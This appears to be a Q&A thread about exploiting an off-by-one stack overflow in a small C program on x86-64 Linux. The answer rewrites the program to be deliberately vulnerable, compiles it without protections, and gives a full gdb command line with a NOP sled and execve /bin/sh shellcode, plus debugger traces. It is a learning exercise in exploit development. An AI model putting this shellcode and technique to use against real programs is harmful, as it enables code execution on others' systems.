4

So I was trying Offbyone Buffer overflow with the help of this following simple code

#include <string.h>

void cpy(char *x){
char buf[128]="";
strncat(buf,x,sizeof(buf));

}
int main(int argc, char **argv)
{

    cpy(argv[1]);

}

As this diagram depicts how an Offbyone buffer over flow works

enter image description here

Taken from : https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481

Here is the Disassembly of main and cpy enter image description here

enter image description here

Here is the payload that I used enter image description here

Memory dumps

enter image description here

So using the buffer , in the Cpy stack frame i change the value of the saved RBP's least significant byte to 00 ( because of the Offbyone overflow achieved by providing exactly 128byte input )

As you can see the address 0x7fffffffe177 has stored EBP whose value is changed from 0x7fffffffe190 to 0x7fffffffe100

So I went ahead and had the starting address of my payload at the address 0x7fffffffe10F which is also the return address of main which is supposed to be 0xffffe110 0x00007fff instead of 0xffffe110 0x90907fff but since we shouldn't have 00 in payload I am not able to set the return address because since it's an 64bit address is of 8byte long 0xffffe110 0x00007fff

So how exactly should we have the return address here ? And since the image of the memory dump, in break point 1 , its the cpy function frame why is argc and argv [] on the top of the stack ? I am new to Exploit writing and all the help will be much appreciated .

Dhayalan Pro
  • 579
  • 1
  • 5
  • 20

1 Answers1

6

So let's start with a description of the trick that can be used to set the desired return address value without passing zero bytes in payload.

I've changed your code a little bit to make it easier to do the trick. Here is new code:

#include <string.h>

int i;

void cpy(char *x) {
    char buf[128];
    for (i = 0; i <= 128; ++i) {
        buf[i] = x[i];
    }
}

int main(int argc, char **argv) {
    cpy(argv[1]);
    return 0;
}

The main difference is that now we can control the value of the less significant byte of saved rbp. In your example we only can set it to zero.

So here the stack frame of our cpy function:

enter image description here

@rbp - saved base stack pointer of main function

@rsp - stack pointer at the start of cpy function (right after push rbp)

The trick is that we overwrite the last byte in such way that @rbp = @rsp - 8. So when we return from main function $rbp will be equal to @rsp - 8 and thus return address will be 8 bytes before @rsp - 8 i.e. also @rsp - 8!

After return from main we will jump to @rsp - 8. So now we simply put jmp to shellcode at this address and we are done:

enter image description here

But in your original example this trick can't be done because we can't control value of less significant byte of @rbp.

It should also be noted that this trick will not work if @rbp and @rsp differ more than in one last byte.

And finally here is exploit.

Compile code with executable stack and without stack protection:

$ gcc test.c -o test -z execstack -fno-stack-protector

Get byte code for our jmp to shellcode:

$ rasm2 -a x86 -b 64 'jmp -0x50'
ebae

Exploit under gdb:

$ gdb --args test $(python -c 'print "\x90" * 91 + "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" + "\xeb\xb8" + "a" * 6 + "\xc8"')

>>> b cpy
>>> b *cpy+90
>>> r
Breakpoint 1, 0x00000000004004aa in cpy ()

So here is saved rbp:

>>> x/1gx $rbp
0x7fffffffd3d0: 0x00007fffffffd3f0

Here is rsp at the start of cpy function:

>>> p/x $rsp
$1 = 0x7fffffffd3d0

The value of rbp which we want to get after return from cpy (that's why last byte of payload is \xc8)

>>> p/x $rsp - 8
$2 = 0x7fffffffd3c8

Continue to the end of cpy:

>>> c
Breakpoint 2, 0x0000000000400500 in cpy ()

Asm code of cpy:

>>> disassemble cpy
Dump of assembler code for function cpy:
     0x00000000004004a6 <+0>:     push   rbp
     0x00000000004004a7 <+1>:     mov    rbp,rsp
     0x00000000004004aa <+4>:     sub    rsp,0x10
     0x00000000004004ae <+8>:     mov    QWORD PTR [rbp-0x88],rdi
     0x00000000004004b5 <+15>:    mov    DWORD PTR [rip+0x20046d],0x0        # 0x60092c <i>
     0x00000000004004bf <+25>:    jmp    0x4004f2 <cpy+76>
     0x00000000004004c1 <+27>:    mov    eax,DWORD PTR [rip+0x200465]        # 0x60092c <i>
     0x00000000004004c7 <+33>:    mov    edx,DWORD PTR [rip+0x20045f]        # 0x60092c <i>
     0x00000000004004cd <+39>:    movsxd rcx,edx
     0x00000000004004d0 <+42>:    mov    rdx,QWORD PTR [rbp-0x88]
     0x00000000004004d7 <+49>:    add    rdx,rcx
     0x00000000004004da <+52>:    movzx  edx,BYTE PTR [rdx]
     0x00000000004004dd <+55>:    cdqe
     0x00000000004004df <+57>:    mov    BYTE PTR [rbp+rax*1-0x80],dl
     0x00000000004004e3 <+61>:    mov    eax,DWORD PTR [rip+0x200443]        # 0x60092c <i>
     0x00000000004004e9 <+67>:    add    eax,0x1
     0x00000000004004ec <+70>:    mov    DWORD PTR [rip+0x20043a],eax        # 0x60092c <i>
     0x00000000004004f2 <+76>:    mov    eax,DWORD PTR [rip+0x200434]        # 0x60092c <i>
     0x00000000004004f8 <+82>:    cmp    eax,0x80
     0x00000000004004fd <+87>:    jle    0x4004c1 <cpy+27>
     0x00000000004004ff <+89>:    nop
  => 0x0000000000400500 <+90>:    leave
     0x0000000000400501 <+91>:    ret
End of assembler dump.

Value of rbp after leave:

>>> ni
>>> p/x $rbp
$1 = 0x7fffffffd3c8

Execute till the end of main:

>>> ni
>>> ni
>>> ni
>>> disassemble
Dump of assembler code for function main:
     0x0000000000400502 <+0>:     push   rbp
     0x0000000000400503 <+1>:     mov    rbp,rsp
     0x0000000000400506 <+4>:     sub    rsp,0x10
     0x000000000040050a <+8>:     mov    DWORD PTR [rbp-0x4],edi
     0x000000000040050d <+11>:    mov    QWORD PTR [rbp-0x10],rsi
     0x0000000000400511 <+15>:    mov    rax,QWORD PTR [rbp-0x10]
     0x0000000000400515 <+19>:    add    rax,0x8
     0x0000000000400519 <+23>:    mov    rax,QWORD PTR [rax]
     0x000000000040051c <+26>:    mov    rdi,rax
     0x000000000040051f <+29>:    call   0x4004a6 <cpy>
     0x0000000000400524 <+34>:    mov    eax,0x0
     0x0000000000400529 <+39>:    leave
  => 0x000000000040052a <+40>:    ret
End of assembler dump.
>>> ni

Now we at @rsp - 8 and here is our jmp to shellcode:

>>> disassemble $rip,+2
Dump of assembler code from 0x7fffffffd3c8 to 0x7fffffffd3ca:
=> 0x00007fffffffd3c8:  jmp    0x7fffffffd382
End of assembler dump.

And finally shellcode:

>>> ni
>>> disassemble $rip,+0x50
Dump of assembler code from 0x7fffffffd382 to 0x7fffffffd3d2:
=> 0x00007fffffffd382:  nop
   0x00007fffffffd383:  nop
   0x00007fffffffd384:  nop
   0x00007fffffffd385:  nop
   ...
   0x00007fffffffd3ab:  xor    rdi,rdi
   0x00007fffffffd3ae:  push   rdi
   0x00007fffffffd3af:  push   rdi
   0x00007fffffffd3b0:  pop    rsi
   0x00007fffffffd3b1:  pop    rdx
   0x00007fffffffd3b2:  movabs rdi,0x68732f6e69622f2f
   0x00007fffffffd3bc:  shr    rdi,0x8
   0x00007fffffffd3c0:  push   rdi
   0x00007fffffffd3c1:  push   rsp
   0x00007fffffffd3c2:  pop    rdi
   0x00007fffffffd3c3:  push   0x3b
   0x00007fffffffd3c5:  pop    rax
   0x00007fffffffd3c6:  syscall
russtone
  • 400
  • 2
  • 12